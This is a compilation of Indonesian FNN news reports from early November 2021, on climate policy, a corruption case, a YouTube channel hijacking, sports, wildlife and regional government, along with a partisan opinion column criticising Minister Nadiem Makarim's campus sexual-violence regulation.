Isu perubahan iklim ini adalah ancaman keamanan terbesar. Bagi Indonesia harus kita persepsi sebagai ancaman keamanan nasional paling besar yang kita hadapi saat ini, bahkan bisa melebihi semua ancaman perang yang mungkin bisa kita prediksi," Saat ini diperlukan suatu gerakan literasi masif untuk mitigasi perubahan iklim, karena literasi masyarakat terhadap isu ini masih sangat minim. "Sehingga ini akan memberikan inspirasi masyarakat, bagaimana mengelola isu perubahan iklim," Dalam kaitan ini, Anis Matta juga berpandangan perlunya transformasi ekonomi yang sistemik untuk mitigasi dan adaptasi perubahan iklim, Tegas Anis Matta. Jakarta, FNN - Ketua Umum Partai Gelombang Rakyat (Gelora) Indonesa Anis Matta menegaskan, perubahan iklim adalah ancaman terbesar bagi keamanan Indonesia, melebihi semua ancaman perang yang ada. "Isu perubahan iklim ini adalah ancaman keamanan besar. Bagi Indonesia harus kita persepsi sebagai ancaman keamanan nasional paling besar yang kita hadapi saat ini, bahkan melebihi semua ancaman perang yang mungkin bisa kita prediksi," kata Anis Matta dalam Gelora Talk yang disiarkan langsung di kanal YouTube Gelora TV, Rabu (3/11/2021) petang. Diskusi bertajuk 'Ancaman Climate Change Mengintai Indonesia' ini dihadiri tokoh nasional dan pemerhati lingkungan Prof Emil Salim, Plt Deputi Klimatalogi BMKG Dr. Urif Haryoko dan Direkur Eksekutif Nasional Walhi Zenzi Suhadi. Diskusi ini dipandu , Ketua Bidang Lingkungan Hidup DPN Partai Gelora Rully Syumanda. Menurut Anis Matta, saat ini diperlukan suatu gerakan literasi masif untuk mitigasi perubahan iklim, karena literasi masyarakat terhadap isu ini masih sangat minim. "Sehingga ini akan memberikan inspirasi masyarakat, bagaimana mengelola isu perubahan iklim," katanya. Dalam kaitan ini, Anis Matta juga berpandangan perlunya transformasi ekonomi yang sistemik untuk mitigasi dan adaptasi perubahan iklim. Sebab, mitigasi dan adaptasi terhadap perubahan iklim saat ini mendapatkan banyak tantangan, akibat ide pertumbuhan dalam mazhab ekonomi global yang menjadi dasar dari sistem sekarang, dimana Indonesia telah membayar ongkos kerusakan lingkungan yang sangat besar. "Karena itu, Partai Gelora akan menjadikan isu perubahan iklim ini sebagai agenda utama dan gerakan politik dalam perjuangannya. Partai Gelora melihat ini merupakan ancaman keamanan nasional yang paling berat," katanya. Partai Gelora mengajak semua pihak untuk berkolaborasi menyelamatkan masa depan generasi muda dengan mitigasi dan adaptasi terhadap dampak perubahan iklim. "Sebagai negara kepulauan, Indonesia adalah salah satu negara yang menjadi collateral damage. Korban paling besar dari perubahan iklim yang terjadi secara global," tegas Anis Matta. Anis Matta menilai perlu ada model ekonomi baru yang kompatibel dengan perubahan iklim, yang tidak sekedar ramah lingkungan, tetapi juga terus berupaya untuk memitigasi dan adaptasi terhadap mesin pertumbuhan ekonomi. "Orientasinya pada mitigasi dan adaptasi, Ini tantangan kita sebagai bangsa. Mudah-mudahan semua terinspirasi dan secara bersama-sama berkolaborasi untuk menemukan jalan model ekonomi yang kompatibel terhadap perubahan iklim," tandasnya. Tokoh nasional dan pemerhati lingkungan Prof Emil Salim mengatakan, kerusakan lingkungan di Indonesia sangat mengkawatirkan akibat perilaku generasi tua dalam mengeksplorasi sumber daya alam, seperti penggunaan batubara dan energi terbarukan lainnya, sehingga meningkatkan pencemaran karbon dioksida CO2. "Kita sayangkan generasi tua dan para pemimpin bangsa tidak bersuara terhadap dampak perubahan iklim. Kewajiban moral kita menjamin generasi muda tidak menderita akibat kebijakan pembangunan yang sekarang kita lakukan," kata Emil Salim. Guna menyelamatkan masa depan generasi muda, kata Emil Salim, pemerintah perlu meninggalkan penggunaan batubara dalam kebutuhan energi listrik, misalnya karena merusak lingkungan dan menimbulkan efek gas rumah kaca. Lebih baik beralih untuk menggunakan energi matahari dan angin. "Matahari bersinar di atas khatulistiwa dan berlimpah udara (angin). Itu kenapa tidak kita pakai untuk listrik untuk pusat listrik dari PLN. Mengapa cahaya yang vertikal di atas kepala kita di khatulistiwa dan angin ini, tidak kita manfaatkan dan kita pakai sebagai energi terbarukan. Energi ini bisa kita simpan di pulau-pulau dari Sabang ke Merauke, tidak seperti sekarang di distribusikan," ujar Emil Salim. Plt Deputi Klimatalogi BMKG Urif Haryoko mengungkapkan, BMKG telah memberikan informasi kepada Bappenas dalam informasi penyusunan Rencana Aksi Nasional Adaptasi Perubahan iklim yang diberikan setiap lima tahun sekali. Namun, proyeksi iklim sekarang dan akan datang tetap menjadi pertimbangan. Sementara terkait literasi perubahan iklim kepada masyarakat, kata Urip, BMKG telah mengembangkan Sekolah Iklim sejak 2015 lalu, yang memberikan informasi kepada para petani mengenai informasi cara baru bercocok tanam dan nelayan informasi tentang gelombang tinggi. "Masyarakat itu tidak tahu apa itu perubahan iklim, yang penting itu bagaimana menyikapi adaptasinya. Karena itu,, kami sangat mendukung upaya Pak Anis Matta untuk literasi kepada masyarakat membangun kesungguhan masyarakat untuk menghadapi perubahan iklim," katanya. BMKG mengucapkan terima kasih kepada Partai Gelora yang sudah ikut serta memberikan literasi pengetahuan terhadap perubahan iklim. "Sekali lagi terima kasih kepada kepada Partai Gelora Indonesia yang sudah ikut melakukan literasi pengetahuan tentang perubahan iklim kepada masyarakat," kata Plt Deputi Klimatologi BMKG ini. Direkur Eksekutif Nasional Walhi Zenzi Suhadi menambahkan, perlu tindakan konkret pemerintah dalam menghadapi dampak perubahan iklim di Indonesia. Sebab, dampak perubahan iklim berkolerasi dengan kehidupan masyarakat secara langsung. "Dampak perubahan iklim berkolerasi dengan sumber kehidupan masyarakat seperti hujan ekstrem, banjir dan tanah longsor. Kita perlu tindakan kongkret untuk menyelasaikan ini," kata Zenzi. (sah)

Nadiem Harus Belajar Pancasila

By M Rizal Fadillah Di antara Menteri "kekacauan" selain Yaqut, Luhut, Erick, Risma, juga Nadiem Makarim. Alih-alih membawa pendidikan yang semakin baik, Nadiem menggambarkan sosoknya yang liberal, tidak faham agama, dan lebih jauh miskin akan pendidikan Pancasila. Permendikbudristek No 30 tahun 2021 yang ditandatangani Nadiem tanggal 30 Agustus 2021 telah membuat kekacauan lagi. Sejak Program "kampus merdeka" yang tak jelas, road map pendidikan tanpa menyentuh nilai-nilai keagamaan, agenda kurikulum moderasi beragama yang mengacak-acak makna agama, hingga terakkhir soal kekerasan seksual di kampus yang berimplikasi pada kebebasan seksual (zina) dan melegalisasi LGBT. Peraturan Menteri yang kemasannya bagus yakni berjudul Pencegahan dan Penanganan Kekerasan Seksual di Lingkungan Perguruan Tinggi, berisi aturan yang justru menggambarkan liberalisasi, peminggiran agama, dan jauh dari ideologi Pancasila. Ideologi barat Marxisme masuk dalam filosofi pengaturan. Liberalisasi Sepertinya asas liberte, fraternite, dan egalite menjadi dasar pandangan Nadiem. Standar terjadinya kekerasan seksual atau tidak tergantung pada konsensus dalam berhubungan sex (sexual consent). Suka sama suka yang 'halal' dan perlindungan atas nama persamaan jender memproteksi LGBT. Asal dewasa dan tanpa pemaksaan. Peminggiran Agama Ukuran benar dan salah bukan berdasarkan agama, padahal persoalan hubungan sex adalah sarat nilai. Semua agama peduli akan hal ini, kecuali agama abal-abal. Meminggirkan agama adalah melawan kultur relijiusitas bangsa Indonesia. Satgas Pencegahan dan Penanganan Kekerasan Seksual yang dibentuk ternyata steril dari komponen agama apakah ulama atau ahli agama. Tidak Berbasis Pancasila Tertib Pancasila adalah tertib hukum. Permendikbudristek No 30 tahun 2021 itu dibuat tanpa dasar hukum. Gagalnya RUU P-KS menjadi UU justru muatannya diadopsi pada Permen ini. Di samping itu Permen ini juga bertentangan dengan sila pertama dan kedua Pancasila. Menghilangkan nilai Ketuhanan dan hanya berbasis kepada Kemanusiaan, itupun tanpa peduli akan "Adil dan Beradab". Organisasi-organisasi Islam telah bereaksi menyatakan berkeberatan atas Peraturan Nadiem ini. Mendorong untuk segera dicabut. Berbahaya karena penyelundupan gagasan ini dapat merusak tatanan masyarakat bangsa Indonesia yang beriman dan bertakwa. Nadiem Makarim harus mulai untuk mau mendalami Agama, tetapi juga jangan lupa belajar Pancasila. Kampus merdeka bukan untuk menjadi pemikir yang merdeka. Stop liberalisasi, stop sekularisasi. Ini Indonesia, bung. *) Analis Politik dan Kebangsaan

Polda Aceh Tahan Tersangka Pengadaan Bebek Rp 12, 9 Miliar

Banda Aceh, FNN - Direktorat Reserse Kriminal Khusus Polda Aceh menahan tersangka tindak pidana korupsi pengadaan bebek di Dinas Pertanian Kabupaten Aceh Tenggara Tahun Anggaran 2019 dengan nilai Rp12,9 miliar. Direktur Reserse Kriminal Khusus Polda Aceh Kombes Pol Sony Sanjaya di Banda Aceh, Rabu, mengatakan tersangka yang ditahan berinisial AS. AS selaku pengguna anggaran pada pengadaan bebek tersebut. "Tersangka AS merupakan Kepala Dinas Pertanian Kabupaten Aceh Tenggara saat pengadaan bebek pada Tahun Anggaran 2019," kata Kombes Pol Sony Sanjaya. Menyangkut kerugian negara yang ditimbulkan dalam perkara korupsi tersebut, perwira menengah Polda Aceh itu mengatakan perkiraan kerugian negara berdasarkan hasil audit mencapai Rp4,2 miliar. Sebelumnya, Direktorat Reserse Kriminal Khusus Polda Aceh menetapkan empat tersangka tindak pidana korupsi pengadaan bebek Tahun Anggaran 2019 pada Dinas Pertanian Kabupaten Aceh Tenggara dengan nilai mencapai Rp12,9 miliar. Kombes Pol Sony Sanjaya mengatakan penetapan tersangka tersebut berdasarkan hasil gelar perkara dilaksanakan Subdit III Tindak Pidana Korupsi Direktorat Reserse Kriminal Khsusus Polda Aceh "Kami sudah gelar perkara terkait kasus tindak pidana korupsi pengadaan bebek di Aceh Tenggara. Hasilnya, empat orang ditetapkan sebagai tersangka," kata Kombes Pol Sony Sanjaya. Perwira menengah Polri itu mengatakan ke empat tersangka yakni berinisial MR selaku Pejabat Pembuat Komitmen (PPK) dan AS selaku Pengguna Anggara (PA) pengadaan bebek. Kemudian, dua lagi adalah KHS alias AS selaku pelaksana kegiatan pengadaan bebek juga sebagai direktur perusahaan CV BD dan YP sebagai pelaksana lapangan CV BD. "Semuanya telah memenuhi unsur untuk dijadikan tersangka dalam kasus yang sangat merugikan negara itu. Penyidik terus melengkapi berkas perkara guna dilimpahkan ke jaksa penuntut umum," kata Kombes Pol Sony Sanjaya Pemerintah Kabupaten Aceh Tenggara pada 2019 mengalokasikan dana dengan jumlah mencapai Rp12,9 miliar dalam Anggaran Pendapatan Belanja Kabupaten (APBK). Anggaran bersumber dari dana alokasi umum (DAU) itu digunakan untuk pengadaan 84.459 ekor bebek petelur yang dibagikan kepada 194 kelompok ternak, masing-masing 500 ekor per kelompok. (ant, sws)

Channel Youtube Rocky Gerung dan Hersubeno Point, FNN Dibajak!

Jakarta, FNN - Sejak Rabu pagi (3/11) email dan nomor handphone yang digunakan untuk mengelola sejumlah channel jaringan Forum New Network (FNN) dibajak. Channel tersebut terdiri dari Rocky Gerung Official (RGO), Hersubeno Point, MSD (Mohammad Said Didu) FNN. Nama channel RGO sempat diubah menjadi Coinbase (Speaker Series)? Untuk saat ini channel Rocky Gerung Official dan MSD sudah bisa dipulihkan. Namun channel Hersubeno Point belum bisa publish. "Kami mengingatkan bahwa kemerdekaan pers selain dijamin oleh Undang-Undang, juga dijamin oleh konstitusi UUD 45," tegas Pemimpin Redaksi FNN Mangarahon Dongoran dalam siaran persnya. Semua channel yang tergabung dalam FNN merupakan produk jurnalistik bagian yang tak terpisahkan dari media online FNN.Co.id. "Bagi siapa pun yang merasa tidak berkenan dan keberatan dengan konten yang kami tayangkan, silakan menempuh prosedur hak jawab dan hak koreksi sebagaimana diatur Undang-undang Nomor 40 tahun 1999 tentang Pers dalam pasal 1, pasal 5, pasal 11, dan pasal 15," lanjut Mangarahon. Ia menilai, cara-cara membajak akun dan mengambil alih channel bukanlah cara yang beradab dalam masyarakat demokratis yang menjunjung tinggi kemerdekaan dan kebebasan pers. (mth)

Leo/Daniel Kalahkan Unggulan Kelima di Babak Pertama Hylo Open

Jakarta, FNN - Ganda putra Indonesia Leo Rolly Carnando/Daniel Marthin lolos dari babak pertama Hylo Open 2021 setelah mengalahkan unggulan kelima Ong Yew Sin/Teo Ee Yi dari Malaysia di Saarbrucken, Jerman, Rabu. Dalam pertandingan babak 32 besar ini, Leo/Daniel berlaga selama 28 menit dan unggul dua gim langsung 21-12, 21-19. "Kami main hari ini cukup bagus, tapi masih ada kekurangan yang harus diperbaiki supaya besok bisa dapat hasil yang lebih bagus," kata Daniel lewat informasi tertulis PP PBSI di Jakarta, Rabu malam. Leo/Daniel bermain mulus di gim pertama dan mampu mendominasi permainan untuk mengamankan poin hingga gim usai. Kesulitan baru terjadi di interval akhir gim kedua, dimana Ong/Teo bermain lebih sabar sehingga membuat perlawanan menjadi alot. Leo/Daniel yang semula unggul 19-15, dikejar oleh lawannya hingga gim poin 20-19. Beruntung Leo/Daniel mampu mencetak poin penentu dan memastikan posisinya menuju babak kedua. Bagi Leo, kemenangan dalam pertemuan perdananya kontra Ong/Teo tidak lepas dari usahanya bermain maksimal dengan Daniel. Ia sendiri mengaku tak terlalu fokus menang atau kalah. "Targetnya kami hanya mau main maksimal, hasil menang dan kalah kami serahkan semua pada Tuhan," tutur Leo. Pada babak 16 besar, ganda putra peringkat 35 dunia ini selanjutnya akan bertemu Alexander Dunn/Adam Hall dari Skotlandia. Dunn/Hall melaju ke babak kedua setelah mengalahkan ganda putra Inggris, Matthew Clare/Ethan Van Leeuwen. Leo/Daniel mengaku siap untuk bermain maksimal dan tak gentar menghadapi siapa pun lawannya di turnamen level BWF Super 500 ini, terlebih dengan bekal kemenangan dari Piala Thomas membuat motivasi mereka semakin besar. "Kemenangan di Piala Thomas menambah motivasi kami untuk terus meningkatkan kemampuan. Secara pribadi kami mau terus berkembang," pungkas Daniel. (sws)

Beruang Madu Dilaporkan Masuk Kampuang Baringin Agam Sumbar

Lubuk Basung, FNN - Seekor beruang madu (helarctos malayanus) dilaporkan warga masuk ke pemukiman di Kampuang Baringin, Nagari Baringin, Kecamatan Palembayan, Kabupaten Agam, Sumatera Barat. Ketua Tim Patroli Anak Nagari (Pagari) Baringin, Robi Arlin di Lubukbasung, Rabu, mengatakan beruang madu ini ditemukan warga saat memakan durian milik warga setempat pada Selasa (2/11). "Warga melihat beruang sedang memakan buah durian milik warga," katanya. Ia mengatakan Tim Pagari Baringin sedang melakukan verifikasi laporan dan bakal melakukan cek lokasi. Lokasi munculnya beruang ini berjarak sekitar dua kilometer dengan beruang madu muncul ke pemukiman warga di Sungai Taleh, Nagari Baringin semenjak tiga bulan lalu. Di Sungai Taleh, tambahnya, beruang tersebut sempat meresahkan warga sekitar karena sering ditemukan anak-anak saat pergi sekolah, merusak tanaman dan muncul di belakang rumah warga. "Resor Konservasi Sumber Daya Alam (KSDA) Agam telah memasang satu unit kandang jebak di Sungai Taleh," katanya. Sementara itu, Kepala Resor KSDA Agam Ade Putra menambahkan beruang madu yang muncul di Kampung Baringin itu diduga individu yang sama di Sungai Taleh. "Kita juga menerima laporan dari warga dan informasi sedang ditangani Tim Pagari Baringin," katanya. Ia menambahkan, Resor KSDA Agam saat ini sedang fokus untuk menangani konflik di Sungai Taleh dengan memasang kandang jebak pada Selasa (2/11). Kandang jebak yang diberi umpan berupa buah nangka itu dipasang sampai beruang masuk perangkap untuk evakuasi karena daerah tersebut merupakan pemukiman, jarak kawasan hutan cukup jauh dan sering muncul. Apabila masuk kandang jebak, tambahnya, satwa itu bakal diidentifikasi dan diobsevasi ke kantor Resor KSDA Agam. Setelah itu satwa dilindungi Undang-undang Nomor 5 Tahun 1990 tentang Konservasi Sumber Daya Alam Hayati dan Ekosistemnya ini dilepasliar kehabitatnya. (sws)

Menkes Turki: Tak Ada Vaksinasi COVID Anak di Bawah 12 Tahun

Ankara, FNN - Pemerintah Turki tidak mempertimbangkan vaksinasi anak di bawah usia 12 tahun, kata pejabat kesehatan masyarakat senior negara tersebut pada Selasa (2/11). "Saya dapat katakan bahwa vaksinasi anak untuk usia 12 tahun ke bawah tidak masuk dalam agenda kami," kata Menteri Kesehatan Fahrettin Koca kepada awak media di gedung parlemen di ibu kota Ankara. Koca kembali menegaskan bahwa tes PCR secara acak di sekolah masih berjalan. Langkah itu dimulai di sekolah percontohan sebagai bagian dari langkah COVID-19 yang diterapkan setelah sekolah tatap muka kembali dibuka pada September. Memperhatikan survei yang menunjukkan tingkat tes positif "yang tidak begitu tinggi" pada anak usia sekolah dibanding dengan populasi umum, ia meyakini bahwa "tidak ada kekhawatiran soal itu." Setelah Amerika Serikat menyetujui vaksinasi untuk anak di bawah usia 12 tahun, sejumlah laporan media Turki menyebutkan pejabat Turki mungkin melakukan hal serupa. (sws)

Anggota DPRD Jabar: Anggaran Pilgub Rp2,47 Triliun Tak Masuk Akal

Bogor, FNN - Anggota DPRD Jawa Barat Asep Wahyuwijaya alias AW menganggap anggaran Pemilihan Gubernur (Pilgub) senilai Rp2,47 triliun yang diajukan Komisi Pemilihan Umum (KPU) setempat tak masuk akal. "KPU Jawa Barat mengajukan anggaran sebesar Rp2,47 triliun untuk keperluan Pilgub tahun 2024, itu berlebihan dan tak masuk akal," ungkap Anggota Badan Pembentukan Peraturan Daerah (Bapemperda) DPRD Jabar itu saat dihubungi di Bogor, Rabu. Menurut dia, anggaran tersebut jauh lebih tinggi jika dibandingkan dengan provinsi lain, seperti Pemerintah Provinsi Jawa Tengah hanya menyiapkan Rp900 miliar untuk dana cadangan pelaksanaan Pilgub 2024. "Saya dan anggota Bapemperda (DPRD Jabar) lainnya studi banding ke DPRD Provinsi Jateng. Di Jateng ternyata Perdanya sudah selesai dengan besaran anggaran yang disiapkan hanya Rp900 miliar. Masa ajuan KPU Jabar hampir tiga kali lipatnya," kata legislator asal Kabupaten Bogor itu. Ia menyebutkan bahwa selisih anggaran yang diajukan KPU Jawa Barat terlalu jauh, mengingat perbedaan jumlah daftar pemilih tetap (DPT) Jawa Barat dengan Jawa Tengah hanya lima juta orang. AW menganggap pemikiran mengenai penyelenggaraan Pilgub secara mandiri itu keliru, pasalnya, agenda Pilkada pada 2024 itu dilakukan serentak dan sudah menjadi agenda politik nasional. "Nah, karena adanya agenda keserentakan dalam pilkada, maka mestinya anggaran penyelenggaraannya pun bisa diefisiensikan dengan cara berbagi item anggaran antara KPU provinsi dengan KPU kabupaten atau kota," ujar Ketua Fraksi Partai Demokrat DPRD Jawa Barat itu. Kemudian, ia membandingkan dengan Pilkada Serentak 2018, saat itu Pilgub Jabar juga dilakukan berbarengan dengan Pemilihan Wali Kota (Pilwalkot) dan Pemilihan Bupati (Pilbup) di 16 daerah dengan hanya menghabiskan anggaran Rp1,8 triliun. Pemprov Jabar mengalokasikan Rp1,1 triliun, tapi saat itu hanya terpakai oleh KPU setempat Rp900 miliar. Ia menyarankan kepada KPU Jawa Barat segera berkoordinasi dengan KPU di tingkat kota dan kabupaten, sehingga dapat menyusun kembali kebutuhan anggaran yang efisien dan realistis. "Jadi KPU Jabar tidak usah repot minta anggaran untuk para petugas TPS dan PPK lagi ke Pemprov. Jika itu bisa dilakukan maka ajuan Rp1,6 triliun untuk kebutuhan itu saja bisa dicoret. Kalau item itu dicoret, sebenarnya kan tinggal Rp800-900 miliar lagi saja keperluan KPUD Jabar untuk perhelatan Pilgub yang akan diserantakkan dengan Pilbup dan Pilwalkot itu," paparnya. (sws)

Bupati Garut: Kerusakan Hutan Penyebab Banjir di Pameungpeuk

Garut, FNN - Bupati Garut Rudy Gunawan menyatakan kerusakan hutan di Kabupaten Garut, Jawa Barat, menjadi salah satu penyebab terjadinya banjir yang melanda pemukiman rumah penduduk di Kecamatan Pameungpeuk wilayah selatan Garut. "Yang menyebabkan banjir itu pertama pendangkalan, curah hujan, dan kerusakan hutan," kata Rudy Gunawan usai menghadiri kegiatan Gerakan Pendidikan Pemberdayaan Perempuan Mandiri dan Pencanangan Gerakan Indonesia Membaca di Graha Patriot, Garut, Rabu. Ia menuturkan bencana banjir yang melanda wilayah Kecamatan Pameungpeuk beberapa waktu lalu itu karena adanya luapan air dari sungai besar yang melintasi daerah itu. Curah hujan yang tinggi dan juga adanya pendangkalan sungai, kata dia, membuat air naik kemudian mengalir ke dataran paling bawah yakni daerah Pameungpeuk yang berdekatan dengan pantai. "Itu sungainya besar dilintasi oleh tiga kecamatan, jadi kalau terjadi hujan di Pakenjeng di Cisompet, airnya ke bawah, ke Pameungpeuk. Pameungpeuk itu dekat laut, semua berjalan ke Pameungpeuk," kata Bupati. Namun, bencana banjir itu, kata Rudy, tidak seharusnya juga menyalahkan curah hujan yang tinggi, dan juga dangkalnya sungai, melainkan ada faktor lain yaitu kerusakan lingkungan. Ia mengungkapkan seperti hasil kajian BNPB bahwa wilayah hutan di Garut sebagai daya dukung untuk mencegah bencana banjir dalam kondisi tidak baik sehingga perlu menjadi perhatian bersama. "Persoalannya daya dukung lingkungan di baratnya itu di Cisompet dan di Pakenjeng itu tidak bagus (hutannya)," kata Bupati. Meski ada kerusakan hutan, Bupati tidak menyalahkan atau meminta pertanggungjawaban lembaga lain yang menangani kawasan hutan, melainkan mengajak bersama untuk melakukan langkah mitigasi bencana. "Kita kerja sama Perum Perhutani, kita tidak saling menyalahkan, kita jangan menyalahkan hujan juga, kita melakukan mitigasi kebencanaan," katanya. (sws)

Pelatih Daud Yordan Ungkap Strategi Saat Duel Versus Petinju Thailand

Jakarta, FNN - Pelatih Daud Yordan, Edin Diaz, sudah menyiapkan strategi menghadapi petinju Thailand Rachata Khaophimai dalam duel perebutan gelar WBC International kelas ringan super (63,5kg) di Pattaya, Thailand pada 19 November 2021. Menurutnya, Daud harus bisa mengantisipasi setiap gerakan lawan yang dikenal sebagai fighter sejati. Daud Yordan memang lebih berpengalaman dibandingkan lawan, namun kata Edin Diaz, hal tersebut bukan jaminan dalam laga tinju. Persiapan matang dan penuh perhitungan harus tetap dilakukan, termasuk strategi meraih kemenangan. "Kami tidak pernah meremehkan lawan dan selalu menganggap lawan punya kemampuan lebih. Siapa pun lawannya kami pasti genjot dengan persiapan keras," kata Edin kepada ANTARA saat ditemui di XBC Boxing Camp, Tangerang Selatan, Banten, Rabu. Mengingat duel bergulir di kandang lawan, Edin bersama tim juga sudah mengamati gaya bertinju lawan dan mengantisipasi segala kemungkinan yang terjadi di atas ring. "Terkait lawan karena masih baru. Emosinya lebih menggejolak daripada petinju berpengalaman. Kami mulai baca dari itu dan kami antisipasi tipikal lawan. Petinju Thailand itu dikenal sebagai fighter sejati. Kami sudah siapkan strategi," kata Edin Diaz menambahkan. Edin optimistis Daud Yordan bisa meraih kemenangan. "Saya mewakili Daud, mohon doa dan dukungannya kepada seluruh masyarakat Indonesia," ujarnya. Dalam duel perebutan gelar WBC International kelas ringan super, secara rekor pertandingan Daud jauh di atas Rachata Khaophimai. Petinju kebanggaan Indonesia itu tercatat melakoni debut profesional pada 25 Agustus 2005. Sepanjang karier, dia telah melakoni 44 pertandingan dan 40 di antaranya berakhir dengan kemenangan. Sedangkan sang lawan, melakoni debut profesional pada 31 Mei 2019 dan baru turun di tujuh pertandingan yang semuanya berakhir dengan kemenangan. Dari data tersebut, di atas kertas, Daud bisa meraih kemenangan. Namun petinju 34 tahun itu tak ingin sesumbar. Menurutnya, tinju adalah olahraga yang tidak bisa diukur. "Ukurannya secara matematis saya sudah lebih dari 40 bertanding dan lawan tujuh kali. Secara logika bunyinya saya akan menang," kata Daud. "Tetapi tinju tidak matematis. Tidak bisa satu tambah satu menjadi dua. Segala sesuatunya bisa terjadi di atas ring. Dalam olahraga tinju, satu pukulan bisa mengubah segalanya dan itu sering terjadi," pungkas Daud. (sws)

BPBD Mataram Segera Aktifkan Posko Terpadu Penanganan Dampak Bencana

Mataram, FNN - Badan Penanggulangan Bencana Daerah (BPBD) Kota Mataram, Nusa Tenggara Barat, segera mengaktifkan posko terpadu penanganan bencana sebagai kesiapsiagaan menghadapi dampak La Nina yang diprediksi terjadi hingga Februari 2022. "Di posko itu nanti kita siapkan personel, saran prasarana serta logistik menghadapi dampak cuaca ekstrem untuk mengurangi dampak bencana serta menekan kerugian," kata Kepala Pelaksana Badan Penanggulangan Bencana Daerah (BPBD) Kota Mataram Mahfuddin Noor di Mataram, Rabu. Untuk mengaktifkan posko terpadu penanganan bencana tersebut, pihaknya masih melakukan rapat pada Provinsi NTB bersama dengan seluruh kabupaten/kota se-NTB, terkait dengan antisipasi dampak La Nina. "Setelah rapat dengan provinsi, kita akan koordinasi di tingkat kota bersama organisasi perangkat daerah (OPD) terkait penanggulangan bencana untuk mengambil langkah-langkah dampak ke depan," katanya. Dia mengatakan posko terpadu penanganan bencana di halaman pendopo, selama 24 jam disiagakan perwakilan petugas dari beberapa organisasi perangkat daerah (OPD) terkait secara bergantian. Mereka, antara lain satgas dari Dinas PUPR, Dinas Perumahan dan Kawasan Permukiman, Dinas Lingkungan Hidup, Satpol PP, Tagana serta dari tim reaksi cepat (TRC) BPBD. Selain menyiagakan personel, pihakanya juga akan menyiapkan peralatan kedaruratan yang dibutuhkan, antara lain gergaji mesin, kendaraan operasional, dan kendaraan pengangkut sampah. "Selain itu, kita siapkan juga untuk logistik kedaruratan bagi masyarakat yang terdampak bencana, seperti selimut, bahan pokok, dan perlengkapan keluarga lainnya," katanya. Ia mengakui, dampak La Nina saat ini sudah terjadi di Kota Mataram, sebab dalam dua pekan terakhir Kota Mataram diguyur hujan deras, angin kencang, puting beliung, pohon tumbang dan genangan air pada sejumlah titik. Untuk pohon tumbang, katanya, dalam seminggu terakhir sudah terjadi delapan titik, antara lain Jalan Selaparang, Brawijaya, Kawasan Pasar Karang Jasi, Jalan Amir Hamzah, Karang Bedil dan Simpang Monjok. "Pohon tumbang ini rata-rata terlihat masih bagus, tapi mungkin karena struktur tanah yang lembab akibat hujan yang terus-menerus membuat pohon mudah tumbang ketika terjadi angin kencang," katanya. (sws)

Polres Kolaka Siapkan Operasi Kontijensi Dalam Penanggulanan Bencana

Kendari, FNN - Kepolisian Resor Kolaka, Sulawesi Tenggara (Sultra), menyiapkan langkah kontijensi kebencanaan dalam penanggulangan bencana dengan melibatkan semua anggotanya. Kapolres Kolaka AKBP Saiful Mustofa yang dikonfirmasi melalui Kasubsi Penmas Humas Polres Kolaka, Aipda Riswandi mengatakan, selain menyiapkan personil dalam penanggulangan bencana, pihak kepolisian juga memberikan edukasi kepada masyarakat. Selain itu, kata Riswandi, juga memberikan bimbingan kepada masyarakat serta penyebaran berupa pamflet, eflayer, spanduk termasuk media cetak dan elektronik mengenai penanggulangan bencana. "Bahkan seminar dan sarasehan dilakukan terkait kebencanaan dan pencegahan maupun mitigasi bencana," katanya. Dia mengatakan pihak kepolisian sudah menyiapkan langkah-langkah antisipasi dan pencegahan terkait kebencanaan apalagi saat ini kondisi wilayah Kolaka sudah mengalami perubahan iklim. Riswandi juga mengimbau kepada masyarakat untuk tetap waspada dan mengantisipasi adanya bencana alam khususnya banjir dan angin kencang serta tanah longsor. (sws)

Ketua MA Ambil Sumpah Nyoman Adhi

Jakarta, FNN - Ketua Mahkamah Agung (MA) RI Syarifuddin memandu sumpah jabatan Nyoman Adhi Suryadnyana sebagai anggota Badan Pemeriksa Keuangan Republik Indonesia (BPK RI) Masa Jabatan 2021-2026. Dalam keterangan tertulis yang diterima di Jakarta, Rabu, pengucapan sumpah jabatan Nyoman sebagai Anggota BPK RI didasari oleh Surat Keputusan Presiden Republik Indonesia Joko Widodo Nomor: 126/P Tahun 2021 tanggal 18 Oktober 2021 tentang Pemberhentian dengan Hormat dan Peresmian Anggota Badan Pemeriksa Keuangan. Nyoman terpilih menjadi anggota BPK RI setelah mendapatkan suara terbanyak usai melewati proses kelayakan dan kepatutan di Komisi XI DPR RI. Nyoman Adhi Suryadnyana memperoleh 44 suara dari total 56 suara. Acara pengucapan sumpah dilaksanakan di ruang Prof. Dr. Kusumah Atmadja Gedung Mahkamah Agung, Jakarta, Rabu. Dalam sumpah yang dipandu langsung oleh Ketua Mahkamah Agung, Nyoman berjanji akan bersungguh-sungguh menjadi anggota BPK RI. Ia berjanji akan bersungguh-sungguh melaksanakan tugas dengan sebaik-baiknya dan penuh tanggung jawab. Pada kesempatan yang sama, Nyoman juga bersumpah akan setia terhadap Negara Kesatuan Republik Indonesia dan patuh terhadap Undang-Undang Dasar Republik Indonesia tahun 1945. Sebelumnya, Koordinator Masyarakat Anti Korupsi Indonesia (MAKI) Boyamin Saiman mengajukan gugatan terhadap Ketua DPR RI Puan Maharani atas tidak sahnya pemilihan anggota Badan Pemeriksa Keuangan (BPK). Boyamin mengatakan bahwa berdasarkan daftar riwayat hidup, Nyoman Adhi Suryadnyana adalah Kepala Kantor Pengawasan dan Pelayanan Bea Cukai Manado (Kepala Satker Eselon III), yang notabene adalah pengelola keuangan negara (Kuasa Pengguna Anggaran / KPA). Menurut Boyamin, Nyoman Adhi seharusnya tidak lolos seleksi karena riwayat jabatannya bertentangan dengan Pasal 13 huruf J Undang-Undang Nomor 15 Tahun 2006 tentang BPK. Pasal tersebut menyatakan bahwa untuk dapat dipilih sebagai anggota BPK, calon harus paling singkat telah dua tahun meninggalkan jabatan sebagai pejabat di lingkungan pengelola keuangan negara. Oleh karena itu, Boyamin mengajukan gugatan karena menganggap pemilihan tersebut tidak sah dan tidak memenuhi syarat Pasal 13 huruf j UU tentang BPK. (sws, ant)

Surpres yang Bukan ‘Surprise’

